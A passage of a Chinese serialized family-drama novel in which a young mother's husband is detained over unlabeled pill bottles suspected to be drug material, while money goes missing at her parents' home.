妈妈的这句话,让何晓雅恨不得扑倒妈妈的怀里,大哭一场,但是她不能给妈妈增加烦恼,她强忍着泪花在眼圈里打转,低着头小声说:“没啥事。”
说完这句话,她鼻子一酸,眼泪流了下来。
“你一进门你的脸上就已经告诉我,肯定有事,是不是他又欺负你了?”母亲问。
“不是,也没有。”
“他既没欺负你,你也没有啥事,那你为啥哭了?只有人心里委屈了,才会哭,心里有了为难的事了才会哭。”
母亲走向案板边,边揉着面边说:“这几天你应该很忙的,马上过年了,买衣服的人多的是,裁裤边的人多的是,你为什么把生意又放下了?耽误一天是一天的事。”
“那个地方的市场被拆了。”
母亲停下手中的活,愣了一下:“你的意思是说你的生意就没法做了?”
摘菜的晓雅点了点头。
“多长时间了?”
“两个多月了。”
“那你没找其他地方?”
“找了,太远。”
“那你也不能闲着。”
“正在找工作,年后上班。”
“差不多了。”
母女俩都沉默不语,在厨房做着饭。
母亲心里一直在嘀咕,女儿今天回来,从她的脸上就能读的出来,一定有什么委屈的事,只不过不愿意说出来。
晓雅心不在焉的帮母亲干着厨房的活,心里一直在想,现在该不该告诉母亲这件事?如果没有这件事的话,我也不可能带着孩子冒着天寒地冻的极冷天气,坐上班车走上几公里的路,回到娘家来。
现在到了娘家,当妈妈问起有什么事的时候,我咋突然不敢告诉母亲了?
算了,不告诉她,等晚上再说吧。
何武领着小外甥坐在姥爷的身旁,装着苹果,姥爷问小外孙:“琪琪,怎么爸爸没有和妈妈一块回来呀?”
“爸爸和妈妈打架了。”小外孙说了实话。
何武听到这话,猛地抬头和父亲相互看了一眼,他们心里都明白了。
父亲听了外孙的话,突然停下手中的活,生气的站起身来站起身来心里骂了一句脏话。
琪琪走到姥爷的跟前,拉住他的手:“姥爷,你的手为什么抖呢?”
“姥爷有点冷,“何物赶忙起身松开琪琪的手,顺便站在父亲的身旁。
何武心里清楚,童言无忌,琪琪的这句话肯定又点燃了父亲心中的怒火,对于姐姐和姐夫的这种婚事,父亲一直是持反对态度的,姐姐的固执和倔强,也曾让父亲住过院。
现在何武最担心的就是父亲的病发作,担心脾气不好的父亲又去厨房问姐姐具体是什么情况?
看着何武站在了自己的身旁,父亲从口袋里掏出烟来,点了起来:“没事,把娃经管好。”
吃完饭父亲和何武把装好的苹果拉到客商那里卖,母亲和姐姐在家里继续装苹果。一家四口人分工明确,抓紧时间,
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终于把放在院子里的苹果装完卖了。
卖完苹果以后母亲背过晓雅,偷偷的告诉丈夫:“我看娃这次回来肯定有啥心事,我问她,她又不说。你到时候问问她。
丈夫瞪了妻子一眼,没有吭声。
天已经黑了下来,一家人收拾停当洗漱结束后,进了上房边聊着天边看着电视。
看了一会儿,父亲起身从上房出来了,回到自己的房间里,他揭开钢炭炉子的盖子,往里面加了点碳,往水壶里灌了一点水,放在了炉子上。
他把自己的茶缸放在火炉上,掏出烟来抽了起来。
烟在父亲的头顶围绕着,又慢慢的散向四周。
他心里窝着一股火,他知道,女儿是不会亲口告诉自己这件事的,毕竟他和那小子的婚姻,已经让以前那个曾经性格开朗的晓雅,变得胆小怕事,隐忍负重,甚至于他觉得和自己中间的隔阂是越来越大。
虽然现在的沟通是越来越少了,自从小雅和那小子生活在一块以后,今天算是第二次回娘家了,一想到这,他心里就难受。
孩子出生后他老俩口子去过女儿在市里住的地方,当看到晓雅的工作环境和居住的条件时,做为父亲的他感到非常的心酸。
女儿当初死心塌地的要和那小子结婚,当他看到他们租住的房子里面一穷二白的条件时,他的心里真是窝火,难受啊!
没想到女儿的生活条件和质量都不如农村的我。
在回来的路上,甚至于告诉妻子,我再也不会来女儿家了,真后悔自己当时赌气的行为,和女儿赌气,不许她进家门,赌来赌去把女儿赌给了这个没有工作没有技术没有经济基础的穷小子
,真是寒心!
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第49章 衣柜的钱不翼而飞,用钱人心急如焚
一直心神不宁的晓雅在娘家待了三天,一直担心老公被老板催促要着钱,第四天早晨起来,她突然告诉母亲她要回城里去。
“你不是说多待几天吗?你爸让让给你挂的面也不知好了没?怎么这么快就要走?”母亲不解的问道。
“我就是担心国庆和老板的这事还没解决,我想今天我还是赶快回去吧,”晓雅扫着院解释道。
母亲放脱下手上的手套说:“我还想这次你回来能和娃多待一些时间,可那头事还没处理,你想走我和你爸也不留了,一会儿把该拿的东西都拿上,准备一下。”
说往母亲向房间走去。
看着母亲消失的身影,晓雅默默地站在那里,眼中透露出一丝悲伤。她想起了自己向父母张口借钱的那一刻,心中充满了愧疚和无奈。
她已经成为了孩子的母亲,有了自己的家庭了,本应该能够独立承担起家庭的责任,但现实却让她不得不向母亲求助。她感到自己的无能,想到了自己的任性,这种感觉让她心如刀割,后悔不已。
晓雅深吸一口气,试图平复自己的情绪。她知道,父母亲是出于关心和爱才会借给她钱。
毕竟出车祸是任何人不愿意发生的事,现在错已造成,老板又在一直催老公赔钱,她只有感恩而不是自责。
她决定回城后要抓紧找工作,尽快还清这笔债务,让父母亲不再为她担心。
晓雅看到母亲回到房间去,心里一阵痛酸,自己有一种愧疚的感觉,没想到自己都有家庭了,折子上根本就没有存款,孩子都这么大了,自己没有能力来孝敬父母,到现在还靠在父母这里来借钱处理事情,想到这,晓雅的眼泪流了下来。
晓雅深知,看起来只有钱才是能让人最安心,最放心,最舒心的东西。
母亲进了房间,打开了柜子的门,把手伸了进去,往柜子的最里面去摸。
摸了好长时间,她的脸色慢慢的变得焦虑起来。
怎么不见钱了?
晓雅母亲心里疑惑,明明我是放在这里的呀!
她抽出手来,站在原地不动,眼睛转过来,转过去,思考着自己是不是把钱放在这个地方了?
没错呀,就是这个地方啊,母亲自言自语的说道,她努力的回想着前段时间的那天媒人来家的情景。
媒人刚来的时候直接就把用报纸包着的钱放在火炉旁的桌子上。
她和丈夫并没有去动那钱,因为起初媒人并没有告诉他俩口那是退的彩礼和损失款,他们只是和媒人说着话,谈着事。
在他两口的意识里,这个钱原来是不会退回来的,谁知道女方亚宁静出了那事,现在是女方主动提出来要退这桩婚事的,而那些钱就是女方为赔偿男方的损失带来的钱,当时媒人出门的时候,自己和丈夫都把媒人送出了门外。
媒人出了门以后,又对儿子说他有电视机方面的问题,要问问儿子,便又折了回来。
他们一家三口人又陪着媒人,试到了儿子的房间去看怎么调试电视机,完后出了大门就回去了。
晓雅母亲回到房间,做的第一仵事就是把用报纸包着的钱全部放在柜子的最里面的,在此期间,根本没有任何人来过呀。
难道是何武拿走的吗?
不可能!自己的儿子自己知道,那是一个多么听话的孩子,每次走街串巷,卖完菜以后回来多少的钱都交给
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自己,从来不会乱花钱,自己需要买什么东西,也是从父母这里给他自己要,要说何武拿钱的根本不可能!
难道是丈夫把钱拿去了吗?他拿钱干什么?
想到这,母亲一阵紧张,她突然想起了那天晚上,丈夫告诉自己要把女方退回来的这钱,再给女方退回去一部分。
是不是丈夫把那钱拿走了?那也不可能啊,他既是要退,也要等媒人来了以后,等到女方的回信以后才能退,况且我现在根本就没有同意让他退一部分给女方啊,他要拿钱也要给我打招呼的呀!
晓雅母亲他又想到了媒人,那天媒人和丈夫一直都在自己的视线里啊,媒人根本没有下手的机会。
想到这儿,晓雅的母亲心底里暗自骂了自己一句,咋能每个人都怀疑呢?
想来想去,真想不出来这个钱到底是谁给偷走了?
犹豫了一会儿,晓雅母亲把柜子的所有东西,还有一些不太不太常用的东西,全都翻了出来,一个挨一个,每一件从柜子里面拿出来的被子褥子衣服认真的翻个过,啥也没有。
翻遍柜子所有翻出来的东西,还是没有找到钱。
母亲一下慌了神,那么多的钱,怎么说没有就没有了,不见就不见了
她只觉得自己浑身冒汗,心跳加速。家里所有的钱都由自己管着,现在其他的钱都在,为什么就唯独那一笔最大的钱不见了?
看到正在炕上熟睡的外孙,晓雅母亲感到一阵恐惧,这个八九岁的孩子该不会是?
想到这儿,母亲不禁打了个寒颤,这几天外孙一直就在房间里自己玩,很少外出。
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第50章 老公被窝被带走,寻找老板问原因
晓雅的老公李国庆正在呼呼大睡,突然被一阵急促的敲门声惊了醒来。
“谁呀?”国庆问。
“麻烦你开一下门,我们是陈所的。”外面人回答道。
“你是谁?”国庆并没有听清楚,又问了一句。
“我们是陈家堡派出所的,”“什么?派出所?”
听到这话,李国庆一咕噜从床上爬了起来,他急忙穿起衣把尿盆塞进床底后去开门。
就在李国庆刚扭开门把开门的同时,他感到一股巨大的力量把门掀开了,似乎门还未完全打开,就冲进来了四五个男的,带着一股风般。
其中两个年轻人一进门直接站在国庆左右两边把他的胳膊抓住,似乎怕他的了,拉着他坐在了床边。
李国庆一阵懵圈了,什么情况?
“你就是李国庆?”一位秃顶的壮汉双手叉腰问。
李国庆不知所措的点了点头。他看见其他两个男子在他的房间里东瞅瞅西瞅瞅,似乎在寻找什么东西。
“回答是还是不是。”秃顶壮汉高声说。
“是。”李国庆小声回答道。看样子这秃顶壮汉估计是头目。
只见头目从衣服口袋里掏出一个证件,在他眼前晃了一下说:“我们是陈家堡派出所缉毒科的,有人举报你涉嫌吸毒贩毒,这是证件,你看一下。”
头目将证件展示在国庆眼前,国庆只记住了名字王新汉,至于上面其他写的是什么,他根本无心看,也没时间看,王头目早已把证件收了起来。
“啥?,吸毒贩毒?”李国庆睁大了双眼,很是不解,望着站在自己眼前的王头目。
“甭激动,先不要说话,等我问你时再说,有些问题来调查一下。”
站在他跟前王头目看着他说完后,对其他两个人在他房间转来转去的人点了点头示意了一下,那两个人便开始翻他装衣服的纸箱子,又打开灶柜在里面看了看,把放在墙角的鞋盒子打开看了看,到处乱翻着,似乎在找什么东西。
“你找啥哩,我给你说。”国庆很诚实。
没人吭声,只是个翻着看着。
过了一会儿,王头目双手交叉在放在胸前:“你也不要害怕,不要紧张,放松一下,随便问你几个问题,有啥就说啥。”
国庆点了点头。
这时坐在他右边的年轻人起身,在他的床单下、被子上到处翻看着。
“你叫什么名字?”王头目开始问。
“李国庆。”
“什么地方的人?”
“甘川县的,”
“年龄?”
“29。”
“职业?”
“出租车司机,”
正在这时,有一个男子从窗台取下两个白颜色的塑料药瓶子,拧开,从里面给手上倒出来几颗白色的药片,看了一下王头目。
王头目抬手示意拿过来。
那个人把药片放进盒子里后顺手递给王头目。
王头目把塑料瓶举到李国庆面前问“这是什么东西?”
“药“。
“什么药?”
“给我父亲治病的药,”
“你父亲得的是什么病?”
“他有脑梗,”
“这个药名叫什么?”
王头目问到这句话,李国庆卡住了,他突然心里有一点惭愧感,毕竟父亲的脑梗用的什么药,一般都是由姐姐给父亲提供的。
而自己家境又不好,经济能力也不行,虽然知道父亲有脑梗的病,但药名没买过自己还真是不知道。
于是他便说:“这是我第一次给
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父亲买的药,药名太长记不住。”
“是你买的药?”王头目紧逼着问。
“对,买的药。”
“你确认这药是你买的吗?”
李国庆突然不吭声了,因为他知道这药是老乡李一前几天拿过来的。
“我再问你一句,家里还有吗?这里还有吗?”
李国庆站起身来,两个青年立马站在了门口戒备起来,担心他跑掉。
李国庆向着橱柜走去,他拉开橱柜下面的抽斗,从里面又拉出来三个白颜色没有标签的塑料瓶子,交到王头目手里。
“就这些,再没有了。”
李国庆把药瓶子交到王头目的手里后又坐到了床边。
“真的再没有了吗?”王头目高声问道。
“就这些,没有了。”
“能说明你这药的来历吗?到底从哪来的?”
“就是我的老乡给我的。”
“你的老乡叫什么名字?”
“他叫李一。”
“他是干什么的?“
“他在钢管厂上班。”
听了国庆的话,王头目对那几个人说:“六子跟小沈,听到没。”
那两个人立马出了房间向钢管厂奔去。
“什么时候送给你的?”王头目接着问
“我大概也记不清了,好像是一个礼拜前吧。”
“到底是几号?”
李国庆努力的想,但他就是想不起来那天是几号,可能也是紧张害怕,就是想不起来时间。
“想不起来慢慢想,现在是这根据现场搜到的证据
,你知道这是什么东西吗?”王头目手里拿着一瓶子伸到国庆脸前问。
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第51章 老板闹乌龙,派出所里找员工
看到脸色大变的大背头,哓雅暗自笑了起来,他看到当大背头听到派出所这三个字的时候,好像自己犯了错一样,大惊失色的急忙问:“国庆在派出所干啥去了?”
“我也不知道,晓雅小声的说。
“哎呀,我是国庆媳妇,咱们的事,至于闹得那么大吗?还跑到派出所去,很简单的事,你国庆把钱给我一拿,我把钱给交警一交,这事就了结了。我和人家说好的一次性了结就完了嘛!现在他去派出所找我的事,这不是把小事往大的闹吗?何必呢?”大背头气的要死。
晓雅听了大背头的话,一头雾水:“那派出所把国庆带走,你不知道?”
“派出所带国庆不带国庆,我咋知道?“大背头很无奈的说。
小雅愣了愣,心想,该不会是大背头在演戏吧:“王哥你没让派出所找他?”
“我和国庆无冤无仇的,我干嘛要把他告到派出所?我无非就是这几天把他催的紧,让赶快把钱给我,为这点钱,我值得去派出所吗?”大背头解释着。
难道自己判断失误,是误会老板了?
想到这,晓雅忙说:“对不起,王哥,我还误以为是你把国庆搞到派出所了。”
听了晓雅的话,大背头语气也不显得那么急促了:“我和国庆有什么深仇大恨,还要把他搞到派出所去,”
大背头停了一会儿突然好像想起了什么说:“该不会是国庆到派出所去告我了?我们俩的事都是说好的事嘛,至于搞到派出所吗?”
“他如果告你,他自己不去派出所,还让派出民警上门来给他铐上铐子,当着那么多人的面把他带走,你想可能吗?”晓雅问着大背头。
“说的也是啊,”大背头笑着说:“我这会都让这事给整糊涂了,那就是说不是我和国庆之间的事,还有其他的事?”说完,大背头望着晓雅。
“应该没有啥事呀,我这几天在老家,下午刚回来,就听到这事,所以我就想来找你问问,看是什么情况,”晓雅也搞不明白的说
“国庆是个好娃,他不会弄些乱七八糟的事,违法的事他肯定不会干,要不咱俩去派出所问一下,看是什么事?”大背头对晓雅说。
“那就太麻烦你了,谢谢王哥了,耽误你的生意的。”
“国庆给我开了这么多年的车,出了事我不帮忙,谁帮忙?咱们走?”
说着三个人就上了车。
大背头启动车子以后,突然又停了下来,他转过头来问坐在后座上的晓雅:“你知道咱们去哪个派出所呀?”
“我还以为你能知道,我也不知道。”
“让我想想,你那是这,等一下,我下去问问。”
晓雅点了点头看着大背头下了车向单元里走去。
不到十分钟,大背头从单元里出来了,一上车就说:“哦,我刚问邻居来,你们是陈家堡派出所管辖区的,走,咱们现在去陈家堡派出所。”
“那你说说,从你家里搜出来的这五瓶药是你从哪搞来的?”
派出所里,民警正在审问着李国庆。
李国庆看了看坐在桌后的两位民警:“ 这东西也是别人捎给我的,我还想着下次回老家的时候给父亲带回去,没想到还没被带回,你们就来了。”
“我让你讲一讲,这五瓶药是从哪里来的?谁给你的?给你捎药的人叫什么名字?”民警打断他
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。
李国庆想了想说:“给我捎药的人叫李一,他和我一个村的,一块从老家出来的。那年钢管厂招临时工,我和他一块去的,最后我没招上,他被招去了,没事干的我就开了出租车了,我们两个人一直关系很好,几乎每个礼拜就要见一下。
前段时间我不是开车出了点事,老板让我暂时停下,我在家里闲的没事,就在他厂的门口等他下班,一块儿出去叫着喝酒。
他让我等一会,说是回宿舍取个东西,过了一会儿用塑料袋就提着这五瓶药出来了。
我问他拿这干啥哩?他说这是我爸的一个老朋友,给我爸捎买的药。
我问咋不送给我,他说那人说你整天开出租乱跑哩,人不好见面。
他说我爸的这个老朋友,我知道,当年我爸爸和他是一块出来的支援三线,修铁路的。后来我爸因为想家,就偷偷的跑回去了。
再后来,我爸他就在家务农了,而那位和他一块修铁路的朋友就被安排到了公路段上班了。”
“你见过你爸的这位朋友吗?”民警问。
“见过,我当年来市里的时候,我爸还找过他,看他能给我找一份工作不?
后来他托关系把我安排神泉县的一个工地上,我干了一个月就走了,听我爸后来说他还为这事生我的气呢。
所以当李一把那塑料袋的药给我的时候,我第一个就想到了他,就把它拿回家。
拿回家以后,我媳妇拿出来一看,说这是什么药啊,全是白瓶子,什么字都没有。她又拿出了一瓶,看了一下也是一样的,没有字,没有说明书,啥都没有,
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第52章 钱还未捂热,又得支出去
大背头向李国庆摇手示意,让他过去,李国庆看到老板以后,他突然转过身向派出所的大厅里走去。
大背头老板非常不解的追了过来。
国庆刚进了大厅向右一拐,碰到了秃顶的王头目和一个夹着公文包的中年男子从办公室出来。
看着李国庆一步三回头慌慌张张的样子,王头目问:“你咋回事,咋还没回?咋又回来了?”
“嗯,没事,“李国庆一惊忙说:“上个厕所。”边说边往身后看。
王头目打量了一下国庆:“你没啥事吧?上厕所方向反了,厕所在东边。”说着朝前指了指。
李国庆尴尬的顺着王头目指的方向正要走去,
就在这时,大背头老板跟了进来,和国庆碰了个正面。
大背头老板并没有理睬国庆,而是看见那个夹公文包的中年男子喊了一声:“哥。”
“事都办好了,人都走了,你还来干嘛?”公文包男子拍着王头目的肩对大背头说:“这事多亏王队了,还不谢谢人家。”
大背头连忙上前握住王头目的手摇晃着:“谢谢王队。”
王头目满脸疑惑的和大背头握着手,眼睛却望着夹包的男子。
“噢,忘了说,我表弟王建锋,就他的事。”公文包男子笑着说。
王头目不解的松开手指着厕所方向去的李国庆:“那他是…?”
“我的司机。”王建锋忙解释。
“李,李,李国庆吗?”
王建锋连忙点头:“对对对。”
王头目眼睛转了一圈:“噢,明白了,吓了一跳,还以为我把人搞错了。你可厉害了,都有司机了。”说完摇了摇头。
“你来干嘛?”公文包男子问王建锋。
“没事,就是想和你打个招呼说我要回家了。”
“行,那你回吧,我送一下王队。“赵哥说。
“哥,我去送吧。”王建锋忙说。
“还是我送吧,你今天也损失了,把你的司机守好,别让王队难堪就行,你走吧。”
听了公文包男子的话,王建锋说:“如果你忙让我去送吧。”
“这都快半夜了,我还有啥忙的,不是你这事,王队和我都睡了几觉了?”
几个人笑了起来。
王队和公文包男子走后,王建锋又折返到派出所大厅,他要等李国庆从厕所出来。
“你看见我躲啥哩?”
李国庆出了厕所,看到李国庆,王建锋开山见山。
“不好意思,进了派出所了。”李国庆小声说。
“你在这还给我装啥哩?是不是怕我要钱?”
一提到钱,国庆头一下就大了:“哥,就是怕这才不敢怕见你。”
“今天不说钱的事,说说你咋进来的?”
“我不是被他们用铐子铐进来的吗。”一听不提钱,国庆来了精神。
“你少打岔,说正事。”王建锋认真的问。
“有人举报我涉嫌吸毒贩。”国庆小声说。
“什么?有人举报你?那你到底干过没有?”王建锋的的神里透着一股正气。
“绝对没有,我俩这么长时间了,我是个怎么样的人,哥你能不清楚。”看着王建锋的犀利眼神,李国庆严肃的回答着。
“好,哥信你!”说着,王建锋捶了李国庆一下:“这件事让他们调查去,我相信你。赶快往外走,晓雅给咱买饭去了,准备吃饭。”
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“晓雅?你咋知道我媳妇名字?她回来了?她咋跟你在一起?她咋知道我在这里?”李国庆惊喜的同时,又有许多不解。
“哪来那么多问题,走,车上说。”王建锋走出派出所院子来到车旁等着走路特慢的李国庆。
“王哥,你在这呢?饭来了。”还没等到李国庆走到车跟前,买饭回来的何晓雅手里提着飘着香味的饭。
看到李国庆,何晓雅开腔说:“你是咋回事嘛?我刚回去几天,你就跑到这里边来了?”晓雅一边给王哥递着饭一边责怪着国庆。
“我也搞不明白,有人举报说我是吸毒贩毒,”国庆委屈的说着,顺便接过晓雅递过来的饭。
“什么?吸毒贩毒?还杀人哩!”晓雅惊讶的问:“你有那胆没?你要能搞那么大的事,省得我整天为钱发熬煎!”
李国庆说完就迫不及待的把饭放在自己的腿上,蹲下来,大口大口的吃了起来。
“你还有心思吃,你真是心里不放事,你还没说清咋回事啊就吃上了,饿死鬼转世的?”看着低头扒饭的老公,晓雅很是生气。
国庆嘴里塞满饭,他抬起头边嚼着饭边说:“不是说遭人举报吸毒贩毒吗?等我吃完咱们再说好吗?我真饿了。”
“你真是个,唉,我简直没法说你,”看着老公饿坏的样子晓雅无可奈何的说。
当李国庆吃完饭看见在车里睡觉的儿子时,突然问妻子:“你和孩子咋没吃呢?”
“这会儿才想起我娘俩,我把气都吃饱了,”晓雅生气的说。
“嘿嘿,”国庆笑了笑,看了一旁的王建锋:“哥,气能把人吃饱吗?”
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第53章 老家出现麻醉药,全场人员都惊讶
“你想想是谁给你爸送的药?”
“我爸的朋友啊。”国庆不假思索。
“他为什么要给你爸送药?”
“不是要给我爸治病吗?有什么问题吗?”国庆突然又想起了民警的话:“但是警方说,这药根本就不是治脑梗的药,而是一种作为毒品用的原料,吃多了会死人的,他这是什么目的?”
“难不成真是他?”晓雅问国庆。
“他和我爸是不是有仇?”国庆说。
“用药杀人?”晓雅一阵恐惧。
夫妻两人在家里分析讨论了半晚,也没讨论出什么结果来。临睡前晓雅对老公说:“这几天就别乱跑了,人家派出所还会随时来找你的。”
“还找我干什么?”
“你傻啊,你是现在我们交了钱,暂时把你保出来的,在事件未调查清楚之前,你都是嫌疑犯。”
“唉,我就不明白了,你咋能有这么大的能耐,还去派出所捞人呢?”
“我如果有了能耐,我还会缺钱吗?我随便给其他人办个事,我就在中间抽几百块钱,我不是跟你说了吗?起初我还以为是你们老板因为钱的事把你搞到公安那边了,我就去直接找他问,是什么意思?你要钱是要钱,为什么要把我的人搞进派出所?
结果他一听也不知真相,就和我直接到派出所去了,我给他说,你能把国庆搞出来,我们的钱就能给你马上交齐,如果他出不来,我也见不上他的面,这天钱恐怕难凑齐。
要说你们老板这人还可以,他虽然从面相上看起来是一个很凶恶的人,但他是一个心地善良的人,他说都到什么时候了?你还提钱的事,咱们现在主要是先要把人捞回来,看是什么情况,只要人在,啥都好说。
他到派出所里面和我打听了一下,也没见到你人,他就拉着我直接到政府去了,当他出来的时候,是一个夹着公文包的人走了出来。
我看见那个夹公文包的人上了一辆黑色的轿车,出了政府的门。”
“哦,你说的夹公文包的那个人?我见过。”国庆打断晓雅的话。
“你在哪见过?”
“他在派出所和那个秃顶的头目在一块的时候,我见过长的挺文气的,像个文人。”
“就是挺斯文的,你咋能见到他?”
“我刚出了派出所的大厅,我看见王建峰在那向我招手,喊我的名字,我担心他又来要钱,我想着在里面躲一下,没想到就碰到了迎面走来的秃顶那个头目,和那个夹着公文包的那个人一块往外走。”
“那那个夹公文包的人和你老板是什么关系?“
“我进厕所的时候好像听见他说是他表弟?“
“哦,原来是这样,难怪和你老板从政府出来后给我说,咱们走吧,我心里还纳闷,你找办事的人还没找下,我们就要走?
到了派出所和我在院子转了一圈,我看见了那辆黑色的小轿车,我明白了,你老板找的那个人可能在这里来了。
你老板说他车在这,咱们走吧,咱们在车上等他。
我和你老板就在门外等着。
过了一会儿,一个戴眼镜的小青年出来把你们老板叫了进去。
我想跟着进去,被那小青年阻上了。
大概能有七八分钟的样子,老板出来了,我急忙问他什么情况?
他说现在这个案情还在侦查之中,如果晚上要让人
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回去的话,必须交保证金3000元,我哥在里面可说了,人家可以要的是5000啊,现在就是来问你,看你同意不同意?如果你同意就马上去交钱,如果你不同意,那只有让国庆呆在里面了,今天晚上肯定是回不去的。”
“那你再没说,再少交一点?”国庆问晓雅。
“你是用脚趾头听话了,我不是都告诉你人家要5000吗?现在你通过关系找到人给说到了3000了。”晓雅生气的说。
“那你说我老板会不会从中抽成?”
“你真是个心胸狭窄的人,把别人想的和你一样??龊,我们找人家办事就要相信人家,一看你这小肚鸡肠的,疑心太重!”
“所以你就给了?”
“不给咋办?不给你这会儿能和我说话?我也是担心你在里面受罪,本身我带着钱,我就答应了。”
“你把钱给他们一交,他们就把我放出来了?”国庆看着晓雅问。
“咋了,要不然你能坐在这里看着我?”
“哦,按你说的,看起来我们老板还真是个好人,要不是他出面的话,我还一直在里面待着呢。”
“这次可是人家给你帮了大忙的,你刚才下车的时候给人家连一声谢谢都没说,你是个啥人吗?”
“哦,下车时我不知道你他出操作这种情况,真的感谢得感谢人家。”
“哦,对了,刚也说了这几天你也不要乱跑,尽量配合他们公安,让他们尽快把这个事查清,还你一个清白,要不然老是堵心。”
“其实要说呀,还真的就是太堵心了,真是人在家中坐,锅从天上来啊。”
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第54章 与众不同的编织袋,侦办人员的疑惑
当国庆把编织袋的东西都倒出来的时候,满地滚落的都是白色的塑料药瓶子。
国庆的父母很是惊讶,相互看了一眼,莫名其妙。
“你捡的?”国庆的父亲问妻子。
“没有啊,我没捡过啊。”国庆母亲也是一头雾水。
“这怎么和我家里的一模一样呢?”正在疑惑的国庆看着手里的白色药片,和自己家里的是一模一样的。
什么情况?怎么市里的家里有?老家还有,难不成这是种出来的吗?
国庆一阵迷惑。
“你先把这十几瓶装起来,民警对国庆说:“走,咱去房间说。”
民警向国庆的父母做了一个手势,他们一同进了窑洞。
国庆的父亲把火炉子捅了捅,又往上面加了两块钢炭,盖上盖板,他坐在火炉旁问:“你说那是啥玩意儿?”
民警笑了:“我也想问你哩,那是啥玩意儿?”
“问我?我不知道啊。”
“你不知道那是啥玩意儿,你就知道它是从哪来的吧?”民警半开玩笑。
“我也不知道它是从哪来的。”国庆父亲认真的回答着。
“它是在你家里发现的,你都不知道它的来历?”
“要不是你们今天发现,我还真不知道这玩意。”
“那你一直都没注意到那地方吗?”
“你今天不让我们去看,我真的不知道那里还有那么多东西。”
“那你和姨想一想,到底是你们两个人,谁给那放的?”
“反正我没放,”国庆爸爸坚定的说着,顺便看着妻子。
国庆妈妈说:“我再收拾东西,也不至于收拾这些东西,再说这些东西从哪儿去收拾?”
“是不是谁来你这儿把东西落在这了?”
“这段时间没人来过呀。”
“你二老慢慢想一下,想一想,这是什么时间放在这儿的?是谁放的?慢慢想想。”民警提醒着。
“想一想,没有人来啊,国凤这段时间和娃都从来没回来过呀。”国庆的爸爸突然好像意识到了事态的严重性,他这才问:“你们是不是调查什么?”
“大叔,刚才我也没告诉你,我们就是市公安局的,警察。”
“啊,警察,”国庆的父亲一阵诧异,喊了一声:“那你们到我家是…?”
说着他看了看儿子:“是不是国庆这小子犯事了?”
“没有没有,是他配合我们调查一些事情。”民警解释道。
“调查事情?调查什么事情?”国庆父亲问。
“就是现在这个编织袋啊。”民警用手指了指那放在地上的编织袋。
“哦,编织袋。”国庆父亲看了一眼说。
“这个你们已经确认过了,不是你们家的编织袋,现在我们就是要问清楚你这个袋子是从哪来的?”民警问。
“是呀,从哪来的?我也在考虑这个问题呢。”国庆父亲看了妻子一眼,思考着。
“我再问你,你看你家里这些地方,还有像这种一样的袋子吗?”
“哦,你这话还提醒了我,把我问迷惑了,让我再转转看一看。”
不自信的国庆父亲起身走向另一口窑洞。
其实要说的话,国庆的老家根本就没有什么可转的地方,除了两口窑,一个很大的院子,刚进门的右手,就是用石棉瓦搭建的小棚子,那里面除了常用的农用工具,就是放了一些砂石和砖块,再也没有什么地方可以放这些东西。
国庆父亲一个人在院子转了一圈,又在另一个窑洞
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里面转来转去,翻了一下,根本没有找到同样的袋子。
几个人又坐在一块,围在何火炉旁。
那位警察开口:“叔,我想问一下,你在市公路段上班的朋友叫什么?”
“公路段?公路段?”国庆父亲想了想:“哦,你是说的贤良吧?”
“你说他叫什么名字?”
“李贤良!”国庆父亲一个字一个字有力的说。
“那你的身体有什么不舒服的?”
“我前几年得过一次脑梗,现在用药控制着呢,其他也没有什么不舒服的地方。”
“那你现在吃的这个治脑梗的药是什么药?”
“梗通抗栓丸。”
“你能不能让我看一下你这个药?”
“当然可以,”说着,国庆的父亲就从旁边的桌上拿来了一个淡黄色的盒子。
民警打开一看,里面也是白颜色的塑料瓶子,但是外面有商标,里面有说明书,关键是瓶子盖子上面还有打上去的日期,但这个瓶子和他发现的那种瓶子尺寸不太相符。
民警从编织袋里取出一个塑料瓶子,比较了一下:“还是有区别的。”
国庆急忙把两种瓶子放在一块比划着。
民警看完后把药递到国庆父亲的手里:“你这药是你平时自己买的吗?”
“我不买,都是国凤买的。”国庆父亲诚恳的说。
“国凤是谁?”民警问。
“我大女儿。”
“你大女儿她是干什么的?”
“胡成精哩,当什么老板,搞啥百货批发,老说不赚钱,我也不太清楚。”民警看
到,一提到女儿,国庆父亲就显得很生气的样子。
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第55章 帮忙帮到派出所,发小难晓其中谜
国凤把手里的白色塑料瓶里面的药倒在自己的手心里,划拉了几下,说:“这是啥呀?根本就不是我爸的药,那是药丸子,这是片状的,根本就不是我爸吃的药,你们从哪搞的这?说是我爸家里的,难道是他自己买的吗?但是这不可能啊,我知道他惜爱钱。”
三位警察相互看了一眼,其中一位说:“我们和你爸见过面了,他说不是他买的?说他的药一直就是你给他买,没有其他人。”
“对呀,我一直在给他买。没有别人。”
国凤突然好像意识到了什么:“你们去过我家了,见过我爸了?”
“是的”警察点了点头。
听到民警的话,国风惊了一下,她忙问:“我爸没说这药是从哪来的?”
“家里也不知道,我们才来你这儿的。”
“我想也应该不会是他们买的,因为我原来听说过有一种新的药,想给我爸买,但是他说他觉得这个药不错,所以我一直没换。再一个我进货的时候,顺便就在那家医院把药就买回来了。除非是国庆给他买,但是国庆的经济能力…,”说到这,国凤不吭声了。
“国庆是你弟?”
“对啊。”
“你可能不知道,我们在你弟弟市里住的房间里,也找到了这种药。”
“啊,”国凤感到很惊讶:“难道这是国庆给我爸爸买的药吗?这可能是假的,他上当了。”国凤急切的说着。
“我们已经和国庆沟通过了,他也不知道这药的来历。”
“他不知道药的来历,为啥他的房间里有这种药了?“
“所以我们今天来就是来调查这个事件的。“
“那国庆没告诉你们,他那的药是从哪来的吗?”
“他说是一个叫李一的老乡,送给他的。“
“李一,哦,我知道,他是和国庆一块长大的孩子,在钢管厂上班的那个。”
国凤提到的这个李一,此时正在派出所里接受讯问。
“你和李国庆是什么关系?”
“同村的一块长大的。”
“你给国庆送的那些药,是从哪儿搞来的?“
“哦哦,那不是我搞来的,你们是说这事?那是一个陌生人给我的。”李一此时才知道警察突然把他带到派出所的原因。
“陌生人,陌生人给你药,你就捎吗?”警察严肃的问。
“因为他说是捎给国庆的爸爸的,我们都熟嘛,我也没多想就接了。”
“那你没问那个给你送药的人?是谁给他的药?“
“问了,这个我记得清,他说是国庆爸爸的朋友。”
“你没问国庆爸爸的朋友是干什么的?”
李一停了一会儿,想了想说,“我没问这个,我没问。“
“你还能记得那个给你送药的那个人的长相吗?”
“记得。”
“说说的长相。”
“反正那人长的好像经常不修边幅,看起来脏兮兮的样子,眼睛大大的,皮肤很红满脸都是胡子,额头上皱纹特多。”
